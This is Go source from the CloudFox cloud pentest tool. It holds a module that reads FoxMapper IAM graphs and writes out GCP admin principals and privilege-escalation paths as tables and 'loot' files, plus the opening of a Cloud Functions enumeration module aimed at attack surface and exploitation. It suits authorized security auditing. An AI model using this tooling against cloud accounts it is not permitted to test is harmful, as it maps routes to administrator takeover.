foxmapperProjectID string
foxmapperDataPath string
)
func init() {
GCPFoxMapperCommand.Flags().StringVar(&foxmapperOrgID, "org", "", "Organization ID to analyze")
GCPFoxMapperCommand.Flags().StringVar(&foxmapperProjectID, "project", "", "Project ID to analyze (if not using org)")
GCPFoxMapperCommand.Flags().StringVar(&foxmapperDataPath, "foxmapper-path", "", "Custom path to FoxMapper data directory")
}
// FoxMapperModule holds the state for the FoxMapper command
type FoxMapperModule struct {
gcpinternal.BaseGCPModule
FoxMapper *foxmapperservice.FoxMapperService
OrgID string
ProjectID string
DataPath string
OrgCache *gcpinternal.OrgCache
// Output data
Admins []*foxmapperservice.Node
NodesWithPrivesc []*foxmapperservice.Node
Summary map[string]interface{}
LootMap map[string]*internal.LootFile
mu sync.Mutex
}
type FoxMapperOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o FoxMapperOutput) TableFiles() []internal.TableFile { return o.Table }
func (o FoxMapperOutput) LootFiles() []internal.LootFile { return o.Loot }
func runGCPFoxMapperCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, "foxmapper")
if err != nil {
return
}
module := &FoxMapperModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
FoxMapper: foxmapperservice.New(),
OrgID: foxmapperOrgID,
ProjectID: foxmapperProjectID,
DataPath: foxmapperDataPath,
LootMap: make(map[string]*internal.LootFile),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
func (m *FoxMapperModule) Execute(ctx context.Context, logger internal.Logger) {
// Get OrgCache for project number resolution
m.OrgCache = gcpinternal.GetOrgCacheFromContext(ctx)
logger.InfoM("Looking for FoxMapper data and building privilege escalation graph...", "foxmapper")
// Custom path specified - load directly
if m.DataPath != "" {
if err := m.FoxMapper.LoadGraphFromPath(m.DataPath); err != nil {
logger.ErrorM(fmt.Sprintf("Failed to load FoxMapper data from path: %v", err), "foxmapper")
return
}
m.analyzeAndOutput(ctx, logger, m.DataPath)
return
}
// Specific org specified
if m.OrgID != "" {
if err := m.FoxMapper.LoadGraph(m.OrgID, true); err != nil {
logger.ErrorM(fmt.Sprintf("Failed to load FoxMapper data for org %s: %v", m.OrgID, err), "foxmapper")
fmt.Printf("\nTo generate FoxMapper data, run:\n foxmapper gcp graph create --org %s\n", m.OrgID)
return
}
m.analyzeAndOutput(ctx, logger, m.OrgID)
return
}
// Specific project specified via module flag
if m.ProjectID != "" {
if err := m.FoxMapper.LoadGraph(m.ProjectID, false); err != nil {
logger.ErrorM(fmt.Sprintf("Failed to load FoxMapper data for project %s: %v", m.ProjectID, err), "foxmapper")
fmt.Printf("\nTo generate FoxMapper data, run:\n foxmapper gcp graph create --project %s\n", m.ProjectID)
return
}
m.analyzeAndOutput(ctx, logger, m.ProjectID)
return
}
// No specific identifier - try org from hierarchy, then iterate projects
orgID := ""
if m.Hierarchy != nil && len(m.Hierarchy.Organizations) > 0 {
orgID = m.Hierarchy.Organizations[0].ID
}
// Try org-level graph first (covers all projects)
if orgID != "" {
if err := m.FoxMapper.LoadGraph(orgID, true); err == nil {
logger.InfoM(fmt.Sprintf("Loaded org-level FoxMapper graph for org: %s", orgID), "foxmapper")
m.analyzeAndOutput(ctx, logger, orgID)
return
}
}
// No org graph - try each project
if len(m.ProjectIDs) == 0 {
logger.ErrorM("No organization or project specified. Use --org or --project flag.", "foxmapper")
logger.InfoM("To generate FoxMapper data, run:", "foxmapper")
logger.InfoM(" foxmapper gcp graph create --org {org_id}", "foxmapper")
logger.InfoM(" foxmapper gcp graph create --project {project_id}", "foxmapper")
return
}
// Build hierarchical output for per-project analysis
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
foundAny := false
for _, projectID := range m.ProjectIDs {
// Create fresh FoxMapper service for each project
projectFM := foxmapperservice.New()
if err := projectFM.LoadGraph(projectID, false); err != nil {
// No FoxMapper data for this project - skip silently
continue
}
foundAny = true
logger.InfoM(fmt.Sprintf("Loaded FoxMapper graph for project %s: %d nodes, %d edges",
projectID, len(projectFM.Nodes), len(projectFM.Edges)), "foxmapper")
// Analyze this project
admins := projectFM.GetAdminNodes()
nodesWithPrivesc := projectFM.GetNodesWithPrivesc()
summary := projectFM.GetPrivescSummary()
// Generate output for this project
output := m.generateOutputForProject(logger, projectID, projectFM, admins, nodesWithPrivesc, summary)
outputData.ProjectLevelData[projectID] = output
// Print summary for this project
m.printProjectSummary(logger, projectID, summary)
}
if !foundAny {
logger.ErrorM("No FoxMapper data found for any project.", "foxmapper")
fmt.Println("\nTo generate FoxMapper data, run:")
fmt.Println(" foxmapper gcp graph create --org {org_id}")
fmt.Println(" foxmapper gcp graph create --project {project_id}")
fmt.Println("\nFor more info: https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#foxmapper")
return
}
// Write hierarchical output
pathBuilder := m.BuildPathBuilder()
if err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData); err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), "foxmapper")
}
}
// analyzeAndOutput analyzes a single loaded FoxMapper graph and writes output
func (m *FoxMapperModule) analyzeAndOutput(ctx context.Context, logger internal.Logger, identifier string) {
logger.InfoM(fmt.Sprintf("Loaded FoxMapper graph: %d nodes, %d edges",
len(m.FoxMapper.Nodes), len(m.FoxMapper.Edges)), "foxmapper")
// Get analysis data
m.Admins = m.FoxMapper.GetAdminNodes()
m.NodesWithPrivesc = m.FoxMapper.GetNodesWithPrivesc()
m.Summary = m.FoxMapper.GetPrivescSummary()
// Generate output
output := m.generateOutput(logger, identifier)
// For org-level or single identifier, use hierarchical output at org level
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
outputData.OrgLevelData[identifier] = output
pathBuilder := m.BuildPathBuilder()
if err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData); err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), "foxmapper")
}
// Print summary
m.printSummary(logger, identifier)
}
// generateOutputForProject generates output for a specific project's FoxMapper data
func (m *FoxMapperModule) generateOutputForProject(logger internal.Logger, projectID string, fm *foxmapperservice.FoxMapperService, admins []*foxmapperservice.Node, nodesWithPrivesc []*foxmapperservice.Node, summary map[string]interface{}) FoxMapperOutput {
var output FoxMapperOutput
// Main table: principals with admin or path to admin
// Read left to right: Project -> Type -> Principal -> Admin Status -> Privesc Target -> Privesc Admin Level -> Hops
mainHeader := []string{"Project", "Type", "Principal", "Is Admin", "Admin Level", "Privesc To", "Privesc Admin Level", "Hops", "Confidence"}
var mainBody [][]string
// First add admins
for _, admin := range admins {
adminLevel := admin.AdminLevel
if adminLevel == "" {
adminLevel = "project"
}
mainBody = append(mainBody, []string{
admin.ProjectID,
admin.MemberType,
admin.Email,
"Yes",
adminLevel,
"-",
"-",
"-",
"-",
})
}
// Then add nodes with privesc paths
for _, node := range nodesWithPrivesc {
paths := fm.GetPrivescPaths(node.Email)
shortestPath := "-"
privescTo := "-"
privescAdminLevel := "-"
confidence := "-"
if len(paths) > 0 {
bestPath := paths[0]
shortestPath = strconv.Itoa(bestPath.HopCount)
// Get the destination (admin) from the best path
privescTo = bestPath.Destination
// Clean up the display
if strings.HasPrefix(privescTo, "serviceAccount:") {
privescTo = strings.TrimPrefix(privescTo, "serviceAccount:")
} else if strings.HasPrefix(privescTo, "user:") {
privescTo = strings.TrimPrefix(privescTo, "user:")
}
// Confidence from the best path
confidence = bestPath.Confidence
if confidence == "" {
confidence = "high"
}
// Format privesc admin level
destNode := fm.GetNode(bestPath.Destination)
switch bestPath.AdminLevel {
case "org":
privescAdminLevel = "Org"
case "folder":
// Try to extract folder from the destination node's IAM bindings
if destNode != nil && len(destNode.IAMBindings) > 0 {
for _, binding := range destNode.IAMBindings {
if resource, ok := binding["resource"].(string); ok {
if strings.HasPrefix(resource, "folders/") {
folderID := strings.TrimPrefix(resource, "folders/")
privescAdminLevel = fmt.Sprintf("Folder: %s", folderID)
break
}
}
}
}
if privescAdminLevel == "-" {
privescAdminLevel = "Folder"
}
case "project":
// Try to get the project ID from the destination node or principal
if destNode != nil && destNode.ProjectID != "" {
privescAdminLevel = fmt.Sprintf("Project: %s", destNode.ProjectID)
} else {
destProject := extractProjectFromPrincipal(bestPath.Destination, m.OrgCache)
if destProject != "" {
privescAdminLevel = fmt.Sprintf("Project: %s", destProject)
} else {
privescAdminLevel = "Project"
}
}
default:
if bestPath.AdminLevel != "" {
privescAdminLevel = bestPath.AdminLevel
}
}
}
mainBody = append(mainBody, []string{
node.ProjectID,
node.MemberType,
node.Email,
"No",
"-",
privescTo,
privescAdminLevel,
shortestPath,
confidence,
})
}
output.Table = append(output.Table, internal.TableFile{
Header: mainHeader,
Body: mainBody,
Name: "foxmapper",
})
// Loot file - summary
lootContent := m.generateLootContentForProject(projectID, fm, admins, nodesWithPrivesc, summary)
output.Loot = append(output.Loot, internal.LootFile{
Name: "foxmapper",
Contents: lootContent,
})
// Loot file - detailed paths (paths go to loot only, not table/csv/json)
pathsLootContent := m.generatePathsLootContentForProject(projectID, fm, nodesWithPrivesc)
output.Loot = append(output.Loot, internal.LootFile{
Name: "foxmapper-paths",
Contents: pathsLootContent,
})
return output
}
// generatePathsLootContentForProject generates detailed paths loot for a specific project
func (m *FoxMapperModule) generatePathsLootContentForProject(projectID string, fm *foxmapperservice.FoxMapperService, nodesWithPrivesc []*foxmapperservice.Node) string {
var sb strings.Builder
sb.WriteString("# FoxMapper Privilege Escalation Paths\n")
sb.WriteString(fmt.Sprintf("# Project: %s\n", projectID))
sb.WriteString(fmt.Sprintf("# Total paths: %d principals with escalation paths\n\n", len(nodesWithPrivesc)))
for _, node := range nodesWithPrivesc {
paths := fm.GetPrivescPaths(node.Email)
if len(paths) == 0 {
continue
}
sb.WriteString(fmt.Sprintf("================================================================================\n"))
sb.WriteString(fmt.Sprintf("SOURCE: %s (%s)\n", node.Email, node.MemberType))
sb.WriteString(fmt.Sprintf("Project: %s\n", node.ProjectID))
sb.WriteString(fmt.Sprintf("Escalation paths: %d\n", len(paths)))
sb.WriteString(fmt.Sprintf("================================================================================\n\n"))
for pathIdx, path := range paths {
scopeStatus := ""
if path.ScopeBlocked {
scopeStatus = " [SCOPE-BLOCKED]"
}
confidenceStatus := ""
if path.Confidence != "" && path.Confidence != "high" {
confidenceStatus = fmt.Sprintf(" [%s confidence]", path.Confidence)
}
sb.WriteString(fmt.Sprintf("--- Path %d: %s → %s (%s admin, %d hops)%s%s ---\n\n",
pathIdx+1, path.Source, path.Destination, path.AdminLevel, path.HopCount, scopeStatus, confidenceStatus))
// Show the path as a visual chain
sb.WriteString(fmt.Sprintf(" %s\n", path.Source))
for i, edge := range path.Edges {
sb.WriteString(" │\n")
annotations := ""
if edge.ScopeBlocksEscalation {
annotations = " ⚠️ BLOCKED BY OAUTH SCOPE"
} else if edge.ScopeLimited {
annotations = " ⚠️ scope-limited"
}
edgeConf := edge.EffectiveConfidence()
if edgeConf != "high" {
annotations += fmt.Sprintf(" [%s confidence]", edgeConf)
}
sb.WriteString(fmt.Sprintf(" ├── [%d] %s%s\n", i+1, edge.ShortReason, annotations))
if edge.Resource != "" {
sb.WriteString(fmt.Sprintf(" │ Resource: %s\n", edge.Resource))
}
if edge.Reason != "" && edge.Reason != edge.ShortReason {
reason := edge.Reason
if len(reason) > 80 {
sb.WriteString(fmt.Sprintf(" │ %s\n", reason[:80]))
sb.WriteString(fmt.Sprintf(" │ %s\n", reason[80:]))
} else {
sb.WriteString(fmt.Sprintf(" │ %s\n", reason))
}
}
if i < len(path.Edges)-1 {
sb.WriteString(fmt.Sprintf(" │\n"))
sb.WriteString(fmt.Sprintf(" ▼\n"))
sb.WriteString(fmt.Sprintf(" %s\n", edge.Destination))
} else {
sb.WriteString(fmt.Sprintf(" │\n"))
sb.WriteString(fmt.Sprintf(" └──▶ %s (ADMIN)\n", edge.Destination))
}
}
sb.WriteString("\n")
}
sb.WriteString("\n")
}
return sb.String()
}
// generateLootContentForProject generates loot content for a specific project
func (m *FoxMapperModule) generateLootContentForProject(projectID string, fm *foxmapperservice.FoxMapperService, admins []*foxmapperservice.Node, nodesWithPrivesc []*foxmapperservice.Node, summary map[string]interface{}) string {
var sb strings.Builder
sb.WriteString("=== FoxMapper Privilege Escalation Analysis ===\n\n")
sb.WriteString(fmt.Sprintf("Project: %s\n", projectID))
sb.WriteString(fmt.Sprintf("Total Nodes: %d\n", summary["total_nodes"]))
sb.WriteString(fmt.Sprintf("Admin Nodes: %d\n", summary["admin_nodes"]))
sb.WriteString(fmt.Sprintf("Nodes with Privesc: %d\n", summary["nodes_with_privesc"]))
sb.WriteString(fmt.Sprintf("Percent with Privesc: %.1f%%\n\n", summary["percent_with_privesc"]))
// Admin breakdown
sb.WriteString("=== Admin Breakdown ===\n")
sb.WriteString(fmt.Sprintf(" Organization Admins: %d\n", summary["org_admins"]))
sb.WriteString(fmt.Sprintf(" Folder Admins: %d\n", summary["folder_admins"]))
sb.WriteString(fmt.Sprintf(" Project Admins: %d\n\n", summary["project_admins"]))
// List admins
sb.WriteString("=== Admin Principals ===\n")
for _, admin := range admins {
adminLevel := admin.AdminLevel
if adminLevel == "" {
adminLevel = "project"
}
sb.WriteString(fmt.Sprintf("ADMIN (%s): %s\n", adminLevel, admin.Email))
}
sb.WriteString("\n")
// List privesc paths
sb.WriteString("=== Privilege Escalation Paths ===\n\n")
for _, node := range nodesWithPrivesc {
paths := fm.GetPrivescPaths(node.Email)
for _, path := range paths {
sb.WriteString(fmt.Sprintf("PATH TO %s ADMIN FOUND\n", strings.ToUpper(path.AdminLevel)))
sb.WriteString(fmt.Sprintf(" Start: %s\n", path.Source))
sb.WriteString(fmt.Sprintf(" End: %s\n", path.Destination))
sb.WriteString(fmt.Sprintf(" Hops: %d\n", path.HopCount))
if path.Confidence != "" && path.Confidence != "high" {
sb.WriteString(fmt.Sprintf(" Confidence: %s\n", path.Confidence))
}
if path.ScopeBlocked {
sb.WriteString(" WARNING: Path may be blocked by OAuth scopes\n")
}
sb.WriteString(" Path:\n")
for i, edge := range path.Edges {
annotations := ""
if edge.ScopeBlocksEscalation {
annotations = " [BLOCKED BY SCOPE]"
} else if edge.ScopeLimited {
annotations = " [scope-limited]"
}
edgeConf := edge.EffectiveConfidence()
if edgeConf != "high" {
annotations += fmt.Sprintf(" [%s confidence]", edgeConf)
}
sb.WriteString(fmt.Sprintf(" (%d) %s%s\n", i+1, edge.Reason, annotations))
}
sb.WriteString("\n")
}
}
return sb.String()
}
// printProjectSummary prints a summary for a single project
func (m *FoxMapperModule) printProjectSummary(logger internal.Logger, projectID string, summary map[string]interface{}) {
totalNodes, _ := summary["total_nodes"].(int)
adminNodes, _ := summary["admin_nodes"].(int)
nodesWithPrivesc, _ := summary["nodes_with_privesc"].(int)
logger.InfoM(fmt.Sprintf("[%s] %d principals, %d admins, %d with privesc path",
projectID, totalNodes, adminNodes, nodesWithPrivesc), "foxmapper")
}
func (m *FoxMapperModule) generateOutput(logger internal.Logger, identifier string) FoxMapperOutput {
var output FoxMapperOutput
// Main table: principals with admin or path to admin
// Read left to right: Project -> Type -> Principal -> Admin Status -> Privesc Target -> Privesc Admin Level -> Hops
mainHeader := []string{"Project", "Type", "Principal", "Is Admin", "Admin Level", "Privesc To", "Privesc Admin Level", "Hops", "Confidence"}
var mainBody [][]string
// First add admins
for _, admin := range m.Admins {
adminLevel := admin.AdminLevel
if adminLevel == "" {
adminLevel = "project"
}
mainBody = append(mainBody, []string{
admin.ProjectID,
admin.MemberType,
admin.Email,
"Yes",
adminLevel,
"-",
"-",
"-",
"-",
})
}
// Then add nodes with privesc paths
for _, node := range m.NodesWithPrivesc {
paths := m.FoxMapper.GetPrivescPaths(node.Email)
shortestPath := "-"
privescTo := "-"
privescAdminLevel := "-"
confidence := "-"
if len(paths) > 0 {
bestPath := paths[0]
shortestPath = strconv.Itoa(bestPath.HopCount)
// Get the destination (admin) from the best path
privescTo = bestPath.Destination
// Clean up the display
if strings.HasPrefix(privescTo, "serviceAccount:") {
privescTo = strings.TrimPrefix(privescTo, "serviceAccount:")
} else if strings.HasPrefix(privescTo, "user:") {
privescTo = strings.TrimPrefix(privescTo, "user:")
}
// Confidence from the best path
confidence = bestPath.Confidence
if confidence == "" {
confidence = "high"
}
// Format privesc admin level
destNode := m.FoxMapper.GetNode(bestPath.Destination)
switch bestPath.AdminLevel {
case "org":
privescAdminLevel = "Org"
case "folder":
// Try to extract folder from the destination node's IAM bindings
if destNode != nil && len(destNode.IAMBindings) > 0 {
for _, binding := range destNode.IAMBindings {
if resource, ok := binding["resource"].(string); ok {
if strings.HasPrefix(resource, "folders/") {
folderID := strings.TrimPrefix(resource, "folders/")
privescAdminLevel = fmt.Sprintf("Folder: %s", folderID)
break
}
}
}
}
if privescAdminLevel == "-" {
privescAdminLevel = "Folder"
}
case "project":
// Try to get the project ID from the destination node or principal
if destNode != nil && destNode.ProjectID != "" {
privescAdminLevel = fmt.Sprintf("Project: %s", destNode.ProjectID)
} else {
destProject := extractProjectFromPrincipal(bestPath.Destination, m.OrgCache)
if destProject != "" {
privescAdminLevel = fmt.Sprintf("Project: %s", destProject)
} else {
privescAdminLevel = "Project"
}
}
default:
if bestPath.AdminLevel != "" {
privescAdminLevel = bestPath.AdminLevel
}
}
}
mainBody = append(mainBody, []string{
node.ProjectID,
node.MemberType,
node.Email,
"No",
"-",
privescTo,
privescAdminLevel,
shortestPath,
confidence,
})
}
output.Table = append(output.Table, internal.TableFile{
Header: mainHeader,
Body: mainBody,
Name: "foxmapper",
})
// Detailed paths loot file with full exploitation steps (paths go to loot only, not table/csv/json)
pathsLootContent := m.generatePathsLootContent(identifier)
output.Loot = append(output.Loot, internal.LootFile{
Name: "foxmapper-paths",
Contents: pathsLootContent,
})
// Loot file with full details
lootContent := m.generateLootContent(identifier)
output.Loot = append(output.Loot, internal.LootFile{
Name: "foxmapper",
Contents: lootContent,
})
return output
}
func (m *FoxMapperModule) generatePathsLootContent(identifier string) string {
var sb strings.Builder
sb.WriteString("# FoxMapper Privilege Escalation Paths\n")
sb.WriteString(fmt.Sprintf("# Identifier: %s\n", identifier))
sb.WriteString(fmt.Sprintf("# Total paths: %d principals with escalation paths\n\n", len(m.NodesWithPrivesc)))
for _, node := range m.NodesWithPrivesc {
paths := m.FoxMapper.GetPrivescPaths(node.Email)
if len(paths) == 0 {
continue
}
sb.WriteString(fmt.Sprintf("================================================================================\n"))
sb.WriteString(fmt.Sprintf("SOURCE: %s (%s)\n", node.Email, node.MemberType))
sb.WriteString(fmt.Sprintf("Project: %s\n", node.ProjectID))
sb.WriteString(fmt.Sprintf("Escalation paths: %d\n", len(paths)))
sb.WriteString(fmt.Sprintf("================================================================================\n\n"))
for pathIdx, path := range paths {
scopeStatus := ""
if path.ScopeBlocked {
scopeStatus = " [SCOPE-BLOCKED]"
}
sb.WriteString(fmt.Sprintf("--- Path %d: %s → %s (%s admin, %d hops)%s ---\n\n",
pathIdx+1, path.Source, path.Destination, path.AdminLevel, path.HopCount, scopeStatus))
// Show the path as a visual chain
sb.WriteString(fmt.Sprintf(" %s\n", path.Source))
for i, edge := range path.Edges {
// Connector
if i < len(path.Edges)-1 {
sb.WriteString(" │\n")
} else {
sb.WriteString(" │\n")
}
// Scope warning
scopeWarning := ""
if edge.ScopeBlocksEscalation {
scopeWarning = " ⚠️ BLOCKED BY OAUTH SCOPE"
} else if edge.ScopeLimited {
scopeWarning = " ⚠️ scope-limited"
}
// The technique/reason
sb.WriteString(fmt.Sprintf(" ├── [%d] %s%s\n", i+1, edge.ShortReason, scopeWarning))
// Resource if available
if edge.Resource != "" {
sb.WriteString(fmt.Sprintf(" │ Resource: %s\n", edge.Resource))
}
// Full reason/description
if edge.Reason != "" && edge.Reason != edge.ShortReason {
// Wrap long reasons
reason := edge.Reason
if len(reason) > 80 {
sb.WriteString(fmt.Sprintf(" │ %s\n", reason[:80]))
sb.WriteString(fmt.Sprintf(" │ %s\n", reason[80:]))
} else {
sb.WriteString(fmt.Sprintf(" │ %s\n", reason))
}
}
// Show destination after this hop
if i < len(path.Edges)-1 {
sb.WriteString(fmt.Sprintf(" │\n"))
sb.WriteString(fmt.Sprintf(" ▼\n"))
sb.WriteString(fmt.Sprintf(" %s\n", edge.Destination))
} else {
sb.WriteString(fmt.Sprintf(" │\n"))
sb.WriteString(fmt.Sprintf(" └──▶ %s (ADMIN)\n", edge.Destination))
}
}
sb.WriteString("\n")
}
sb.WriteString("\n")
}
return sb.String()
}
func (m *FoxMapperModule) generateLootContent(identifier string) string {
var sb strings.Builder
sb.WriteString("=== FoxMapper Privilege Escalation Analysis ===\n\n")
sb.WriteString(fmt.Sprintf("Identifier: %s\n", identifier))
sb.WriteString(fmt.Sprintf("Total Nodes: %d\n", m.Summary["total_nodes"]))
sb.WriteString(fmt.Sprintf("Admin Nodes: %d\n", m.Summary["admin_nodes"]))
sb.WriteString(fmt.Sprintf("Nodes with Privesc: %d\n", m.Summary["nodes_with_privesc"]))
sb.WriteString(fmt.Sprintf("Percent with Privesc: %.1f%%\n\n", m.Summary["percent_with_privesc"]))
// Admin breakdown
sb.WriteString("=== Admin Breakdown ===\n")
sb.WriteString(fmt.Sprintf(" Organization Admins: %d\n", m.Summary["org_admins"]))
sb.WriteString(fmt.Sprintf(" Folder Admins: %d\n", m.Summary["folder_admins"]))
sb.WriteString(fmt.Sprintf(" Project Admins: %d\n\n", m.Summary["project_admins"]))
// List admins
sb.WriteString("=== Admin Principals ===\n")
for _, admin := range m.Admins {
adminLevel := admin.AdminLevel
if adminLevel == "" {
adminLevel = "project"
}
sb.WriteString(fmt.Sprintf("ADMIN (%s): %s\n", adminLevel, admin.Email))
}
sb.WriteString("\n")
// List privesc paths
sb.WriteString("=== Privilege Escalation Paths ===\n\n")
for _, node := range m.NodesWithPrivesc {
paths := m.FoxMapper.GetPrivescPaths(node.Email)
for _, path := range paths {
sb.WriteString(fmt.Sprintf("PATH TO %s ADMIN FOUND\n", strings.ToUpper(path.AdminLevel)))
sb.WriteString(fmt.Sprintf(" Start: %s\n", path.Source))
sb.WriteString(fmt.Sprintf(" End: %s\n", path.Destination))
sb.WriteString(fmt.Sprintf(" Hops: %d\n", path.HopCount))
if path.Confidence != "" && path.Confidence != "high" {
sb.WriteString(fmt.Sprintf(" Confidence: %s\n", path.Confidence))
}
if path.ScopeBlocked {
sb.WriteString(" WARNING: Path may be blocked by OAuth scopes\n")
}
sb.WriteString(" Path:\n")
for i, edge := range path.Edges {
annotations := ""
if edge.ScopeBlocksEscalation {
annotations = " [BLOCKED BY SCOPE]"
} else if edge.ScopeLimited {
annotations = " [scope-limited]"
}
edgeConf := edge.EffectiveConfidence()
if edgeConf != "high" {
annotations += fmt.Sprintf(" [%s confidence]", edgeConf)
}
sb.WriteString(fmt.Sprintf(" (%d) %s%s\n", i+1, edge.Reason, annotations))
}
sb.WriteString("\n")
}
}
return sb.String()
}
func (m *FoxMapperModule) printSummary(logger internal.Logger, identifier string) {
totalNodes, _ := m.Summary["total_nodes"].(int)
adminNodes, _ := m.Summary["admin_nodes"].(int)
nodesWithPrivesc, _ := m.Summary["nodes_with_privesc"].(int)
logger.InfoM(fmt.Sprintf("Analysis complete for: %s", identifier), "foxmapper")
logger.InfoM(fmt.Sprintf("Total principals: %d", totalNodes), "foxmapper")
logger.InfoM(fmt.Sprintf("Admin principals: %d", adminNodes), "foxmapper")
logger.InfoM(fmt.Sprintf("Principals with path to admin: %d", nodesWithPrivesc), "foxmapper")
if nodesWithPrivesc > 0 {
percent, _ := m.Summary["percent_with_privesc"].(float64)
logger.InfoM(fmt.Sprintf("Percent with privesc: %.1f%%", percent), "foxmapper")
}
// Output file location
outputDir := filepath.Join(m.OutputDirectory, "cloudfox-output", "gcp", m.Account)
logger.InfoM(fmt.Sprintf("Output written to: %s", outputDir), "foxmapper")
logger.InfoM("For detailed paths, see the loot file: foxmapper.txt", "foxmapper")
}
// ============================================================================
// FoxMapper Cache for use by other modules
// ============================================================================
// FoxMapperCache wraps FoxMapperService for use by other modules
type FoxMapperCache struct {
service *foxmapperservice.FoxMapperService
populated bool
identifier string
}
// NewFoxMapperCache creates a new FoxMapper cache
func NewFoxMapperCache() *FoxMapperCache {
return &FoxMapperCache{
service: foxmapperservice.New(),
}
}
// LoadFromOrg loads FoxMapper data for an organization
func (c *FoxMapperCache) LoadFromOrg(orgID string) error {
err := c.service.LoadGraph(orgID, true)
if err != nil {
return err
}
c.populated = true
c.identifier = orgID
return nil
}
// LoadFromProject loads FoxMapper data for a project
func (c *FoxMapperCache) LoadFromProject(projectID string) error {
err := c.service.LoadGraph(projectID, false)
if err != nil {
return err
}
c.populated = true
c.identifier = projectID
return nil
}
// LoadFromPath loads FoxMapper data from a custom path
func (c *FoxMapperCache) LoadFromPath(path string) error {
err := c.service.LoadGraphFromPath(path)
if err != nil {
return err
}
c.populated = true
c.identifier = path
return nil
}
// TryLoad attempts to load FoxMapper data, trying org first then project
func (c *FoxMapperCache) TryLoad(orgID, projectID string) error {
// Try org first
if orgID != "" {
if err := c.LoadFromOrg(orgID); err == nil {
return nil
}
}
// Try project
if projectID != "" {
if err := c.LoadFromProject(projectID); err == nil {
return nil
}
}
return fmt.Errorf("could not load FoxMapper data for org %s or project %s", orgID, projectID)
}
// IsPopulated returns whether the cache has data
func (c *FoxMapperCache) IsPopulated() bool {
return c.populated
}
// GetAttackSummary returns attack path summary for a principal
func (c *FoxMapperCache) GetAttackSummary(principal string) string {
if !c.populated {
return "run foxmapper"
}
return c.service.GetAttackSummary(principal)
}
// DoesPrincipalHavePathToAdmin checks if principal can escalate
func (c *FoxMapperCache) DoesPrincipalHavePathToAdmin(principal string) bool {
if !c.populated {
return false
}
return c.service.DoesPrincipalHavePathToAdmin(principal)
}
// IsPrincipalAdmin checks if principal is admin
func (c *FoxMapperCache) IsPrincipalAdmin(principal string) bool {
if !c.populated {
return false
}
return c.service.IsPrincipalAdmin(principal)
}
// GetPrivescPaths returns privesc paths for a principal
func (c *FoxMapperCache) GetPrivescPaths(principal string) []foxmapperservice.PrivescPath {
if !c.populated {
return nil
}
return c.service.GetPrivescPaths(principal)
}
// GetService returns the underlying FoxMapper service
func (c *FoxMapperCache) GetService() *foxmapperservice.FoxMapperService {
return c.service
}
// ============================================================================
// Helper to find and load FoxMapper data
// ============================================================================
// FindAndLoadFoxMapper attempts to find and load FoxMapper data
// Returns the loaded cache or nil if not found
func FindAndLoadFoxMapper(orgID string, projectIDs []string, logger internal.Logger) *FoxMapperCache {
cache := NewFoxMapperCache()
// Try org first
if orgID != "" {
if err := cache.LoadFromOrg(orgID); err == nil {
logger.InfoM(fmt.Sprintf("Loaded FoxMapper data for org: %s", orgID), "foxmapper")
return cache
}
}
// Try each project
for _, projectID := range projectIDs {
if err := cache.LoadFromProject(projectID); err == nil {
logger.InfoM(fmt.Sprintf("Loaded FoxMapper data for project: %s", projectID), "foxmapper")
return cache
}
}
return nil
}
// SortNodesByPrivesc sorts nodes by privesc capability for display
func SortNodesByPrivesc(nodes []*foxmapperservice.Node) {
sort.Slice(nodes, func(i, j int) bool {
// Admins first
if nodes[i].IsAdmin && !nodes[j].IsAdmin {
return true
}
if !nodes[i].IsAdmin && nodes[j].IsAdmin {
return false
}
// Then by admin level (org > folder > project)
levelOrder := map[string]int{"org": 0, "folder": 1, "project": 2, "": 3}
if nodes[i].AdminLevel != nodes[j].AdminLevel {
return levelOrder[nodes[i].AdminLevel] < levelOrder[nodes[j].AdminLevel]
}
// Then by email
return nodes[i].Email < nodes[j].Email
})
}
+622
View File
@@ -0,0 +1,622 @@
package commands
import (
"context"
"fmt"
"strings"
"sync"
"github.com/BishopFox/cloudfox/gcp/shared"
FunctionsService "github.com/BishopFox/cloudfox/gcp/services/functionsService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
var GCPFunctionsCommand = &cobra.Command{
Use: globals.GCP_FUNCTIONS_MODULE_NAME,
Aliases: []string{"function", "gcf", "cloud-functions"},
Short: "Enumerate GCP Cloud Functions with security analysis",
Long: `Enumerate GCP Cloud Functions across projects with security-relevant details.
Features:
- Lists all Cloud Functions (Gen 2) accessible to the authenticated user
- Shows security configuration (ingress settings, VPC connector, service account)
- Identifies publicly invokable functions (allUsers/allAuthenticatedUsers)
- Shows runtime, trigger type, and trigger configuration
- Counts environment variables and secret references
- Generates gcloud commands for further enumeration and exploitation
Security Columns:
- Ingress: ALL_TRAFFIC (public), INTERNAL_ONLY, or INTERNAL_AND_GCLB
- Public: Whether allUsers or allAuthenticatedUsers can invoke the function
- ServiceAccount: The identity the function runs as (privilege level)
- VPCConnector: Network connectivity to VPC resources
- Secrets: Count of secret environment variables and volumes
Resource IAM Columns:
- IAM Binding Role: The IAM role granted ON this function (e.g., roles/cloudfunctions.invoker)
- IAM Binding Principal: The principal (user/SA/group) who has that role on this function
Attack Surface:
- Public HTTP functions may be directly exploitable
- Functions with default service account may have excessive permissions
- Functions with VPC connectors can access internal resources
- Event triggers reveal integration points (Pub/Sub, Storage, etc.)
TIP: Run foxmapper first to populate the Attack Paths column with privesc/exfil/lateral movement analysis.`,
Run: runGCPFunctionsCommand,
}
// ------------------------------
// Module Struct
// ------------------------------
type FunctionsModule struct {
gcpinternal.BaseGCPModule
// Module-specific fields - per-project for hierarchical output
